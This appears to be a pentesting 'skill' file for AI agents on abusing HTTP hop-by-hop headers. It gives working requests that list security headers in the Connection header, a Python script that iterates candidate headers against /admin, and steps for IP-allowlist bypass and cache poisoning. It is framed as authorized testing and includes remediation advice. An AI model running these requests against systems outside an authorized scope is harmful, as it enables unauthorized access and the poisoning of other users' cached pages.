abusing-hop-by-hop-headers
$
npx mdskill add xalgord/xalgorix/abusing-hop-by-hop-headers- During authorized assessments where the target sits behind one or more HTTP/1.1 proxies, load balancers, or CDNs - When IP-based access controls (admin allowlists, rate limits, geofencing) rely on `X-Forwarded-For` - When authentication or authorization depends on a header injected/validated by an intermediary - When testing caching layers for poisoning via headers that should not influence cache keys - When you observe response differences after marking specific headers as hop-by-hop
SKILL.md
.github/skills/abusing-hop-by-hop-headersView on GitHub ↗
---
name: abusing-hop-by-hop-headers
description: Testing proxies, load balancers, and CDNs for improper handling of HTTP hop-by-hop headers, where an
attacker uses the Connection header to designate arbitrary headers as hop-by-hop so an intermediary strips them before
they reach the backend. Enables IP-based access-control bypass (X-Forwarded-For), header-stripping attacks on auth and
caching, and cache poisoning. Activates when a target sits behind one or more HTTP/1.1 proxies.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- hop-by-hop-headers
- http-proxy
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Abusing Hop-by-Hop Headers
## When to Use
- During authorized assessments where the target sits behind one or more HTTP/1.1 proxies, load balancers, or CDNs
- When IP-based access controls (admin allowlists, rate limits, geofencing) rely on `X-Forwarded-For`
- When authentication or authorization depends on a header injected/validated by an intermediary
- When testing caching layers for poisoning via headers that should not influence cache keys
- When you observe response differences after marking specific headers as hop-by-hop
## Prerequisites
- **Authorization**: Engagement scope covering the target and its proxy/CDN chain
- **Burp Suite**: Repeater for crafting `Connection:` header variations and comparing responses
- **A baseline request**: A known authenticated/authorized request to diff against
- **hbh-test tooling**: A script (or Burp extension) to iterate candidate headers through the `Connection` list
- **Out-of-band infra**: Useful when probing whether stripped headers reach the backend
## Critical: Variants Most Often Missed
The core trick: any header named in the `Connection` header should be treated
as hop-by-hop and removed by a compliant proxy. Misconfigured proxies forward
it; misconfigured proxies that DO strip let you remove security-relevant
headers before they reach the backend.
Standard hop-by-hop headers (RFC 2616 §13.5.1):
```text
Keep-Alive, Transfer-Encoding, TE, Connection, Trailer, Upgrade,
Proxy-Authorization, Proxy-Authenticate
```
Attacker-designated hop-by-hop via the Connection header:
```http
# 1. Strip X-Forwarded-For so the backend "sees" the request from a trusted proxy IP
GET /admin HTTP/1.1
Host: target.example.com
X-Forwarded-For: 1.2.3.4
Connection: close, X-Forwarded-For
# 2. Strip an auth/identity header that an intermediary injects or validates
GET /internal HTTP/1.1
Host: target.example.com
Connection: close, Authorization
# 3. Strip a custom security header (CSRF, API key, session-routing)
GET /api/data HTTP/1.1
Host: target.example.com
Connection: close, X-Api-Key, X-CSRF-Token
# 4. Cache poisoning: mark a session/personalizing header hop-by-hop
GET /resource HTTP/1.1
Host: target.example.com
Connection: close, Cookie
```
Test BOTH directions for each candidate header:
- Header present, NOT in Connection (baseline behavior).
- Header present AND listed in Connection (does the proxy strip it before the backend?).
### How to CONFIRM a hit (avoid false negatives)
You must prove the header was actually removed (or preserved) on the backend
side, not just that the response changed cosmetically:
- **Differential responses**: the same request returns a different status/body ONLY when the header is named in `Connection`. Example: `/admin` returns 403 normally but 200 when `Connection: close, X-Forwarded-For` strips your spoofed XFF, because the backend then trusts the proxy IP.
- **Reflected header**: if the app echoes a header value, confirm it disappears from the echo when listed in `Connection` (direct evidence of stripping).
- **Auth/identity flip**: an endpoint that requires an injected identity header now behaves as anonymous/elevated when that header is stripped.
- **Cache poisoning**: a follow-up clean request (no malicious headers) from a different session receives the poisoned/personalized response — confirm via a second browser/session and inspect `Age`/`X-Cache` headers.
- Repeat each test 2-3x and keep a clean baseline alongside to rule out load-balancer variance between backends.
## Workflow
### Step 1: Map the Proxy Chain
```bash
# Look for proxy/CDN fingerprints and intermediary-injected headers
curl -sI https://target.example.com/ | grep -iE "via|x-cache|server|x-forwarded|cf-ray|x-amz"
```
Note any headers the app appears to trust (XFF, X-Real-IP, Authorization, custom identity/API headers).
### Step 2: Establish a Baseline
Capture a clean request/response pair (status, length, key headers) for the endpoint you want to attack. This is your diff reference.
### Step 3: Probe Header Stripping
```http
GET /admin HTTP/1.1
Host: target.example.com
X-Forwarded-For: 127.0.0.1
Connection: close, X-Forwarded-For
```
Compare against the baseline. A status/body change tied to the `Connection` list indicates the proxy honored the hop-by-hop designation.
### Step 4: Automate Across Candidate Headers
```python
import requests
base = "https://target.example.com/admin"
candidates = ["X-Forwarded-For","X-Real-IP","Authorization","Cookie",
"X-Api-Key","X-CSRF-Token","X-Forwarded-Host","X-Original-URL"]
baseline = requests.get(base)
for h in candidates:
r = requests.get(base, headers={
h: "probe",
"Connection": f"close, {h}",
})
if (r.status_code, len(r.content)) != (baseline.status_code, len(baseline.content)):
print(f"[!] {h}: status {r.status_code} len {len(r.content)} (baseline {baseline.status_code})")
```
### Step 5: Exploit IP-Based Access Control Bypass
```http
GET /admin HTTP/1.1
Host: target.example.com
X-Forwarded-For: 8.8.8.8
Connection: close, X-Forwarded-For
```
If the backend infers the request originates from the trusted proxy (because your spoofed XFF was stripped), it may grant access intended only for internal/proxy traffic.
### Step 6: Exploit Cache Poisoning
```http
GET /resource HTTP/1.1
Host: target.example.com
Connection: close, Cookie
```
If the cache stores a response that should have been session-specific, subsequent users requesting the same resource receive the attacker-tailored cached content. Confirm with a clean second-session request and inspect `Age`/`X-Cache`.
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Hop-by-Hop Header** | Header meant for a single transport connection (client-proxy), not forwarded to the next node |
| **Connection Header** | Lists additional headers to be treated as hop-by-hop; compliant proxies strip listed headers |
| **Header Stripping** | An intermediary removes an attacker-designated header before it reaches the backend |
| **XFF Bypass** | Stripping spoofed `X-Forwarded-For` makes the backend treat the request as coming from a trusted proxy |
| **Auth Header Stripping** | Removing an injected/validated identity header changes the backend's authorization decision |
| **Cache Poisoning** | Mishandled hop-by-hop headers cause a cache to store and serve session-specific or malicious content |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **Burp Suite Repeater** | Craft `Connection:` variations and diff responses against a baseline |
| **abuse_ssl / hbh scripts** | Iterate candidate headers through the Connection list automatically |
| **curl** | Quick manual probes of header stripping and proxy fingerprints |
| **Param Miner (Burp)** | Discover hidden headers and cache-key behavior relevant to poisoning |
| **Out-of-band server** | Confirm whether designated headers reach the backend |
## Common Scenarios
### Scenario 1: Admin Panel IP Allowlist Bypass
`/admin` is restricted to the load balancer's IP range. Sending `Connection: close, X-Forwarded-For` causes the proxy to strip the attacker's spoofed XFF, so the backend sees only the proxy IP and grants admin access.
### Scenario 2: Stripping an Injected Identity Header
An intermediary injects `X-Authenticated-User` for SSO. Marking it hop-by-hop removes it before the backend, causing the app to fall back to a default/anonymous role that exposes unintended functionality.
### Scenario 3: Cache Poisoning via Cookie
A CDN caches `/dashboard`. Sending `Connection: close, Cookie` causes the cache to store a response keyed without the session, so other users receive the attacker's personalized (or error) page.
## Output Format
```
## Hop-by-Hop Header Abuse Finding
**Vulnerability**: Access Control Bypass via Hop-by-Hop Header Stripping
**Severity**: High (CVSS 8.2)
**Location**: GET /admin (behind reverse proxy)
**OWASP Category**: A01:2021 - Broken Access Control
### Reproduction Steps
1. Baseline: GET /admin with X-Forwarded-For: 8.8.8.8 -> 403 Forbidden
2. Send GET /admin with headers:
X-Forwarded-For: 8.8.8.8
Connection: close, X-Forwarded-For
3. Proxy treats X-Forwarded-For as hop-by-hop and strips it
4. Backend sees the request as originating from the trusted proxy IP -> 200 OK, admin content returned
### Evidence
| Request | Status | Note |
|---------|--------|------|
| XFF only | 403 | spoofed client IP rejected |
| XFF + Connection: close, X-Forwarded-For | 200 | header stripped; proxy IP trusted |
### Impact
Bypass of IP-based access control protecting the admin interface; also applicable
to rate limiting and geofencing that rely on X-Forwarded-For.
### Recommendation
1. Configure proxies to strip ALL hop-by-hop headers and to ignore client-supplied Connection entries naming security headers
2. Do not make trust decisions solely on X-Forwarded-For; validate the full forwarding chain and pin the trusted proxy
3. Enforce authorization at the backend independent of intermediary-injected headers
4. Exclude personalizing/auth headers from cache keys and prevent caching of authenticated responses
```
More from xalgord/xalgorix
- analyzing-macos-persistence-and-autostartEnumerating, planting, and hunting macOS persistence and auto-start (ASEP) locations during authorized
- api-discoveryAPI endpoint discovery including OpenAPI/Swagger detection, hidden versioning, REST/GraphQL enumeration, and content negotiation
- bypassing-binary-exploitation-mitigationsMethodology for identifying and defeating common binary hardening mitigations during authorized exploitation —
- bypassing-captcha-protectionsIdentifying weaknesses in CAPTCHA implementations and bypassing them via replay, field removal,
- bypassing-macos-gatekeeper-tcc-and-sipAssessing and bypassing macOS userland and platform security controls during authorized engagements -
- bypassing-restricted-shellsEscaping restricted shells (rbash, rksh, lshell), chroot jails, and language sandboxes (Lua, Python)
- bypassing-two-factor-and-otpIdentifying and exploiting flaws in two-factor authentication and one-time password verification
- deepExhaustive security assessment with maximum coverage, depth, and vulnerability chaining
- exploiting-ai-model-file-rceTesting machine-learning model files and model-loading services for remote code execution caused by insecure
- exploiting-arbitrary-write-to-executionMethodology for converting an arbitrary-write (write-what-where) or write-anything-anywhere primitive into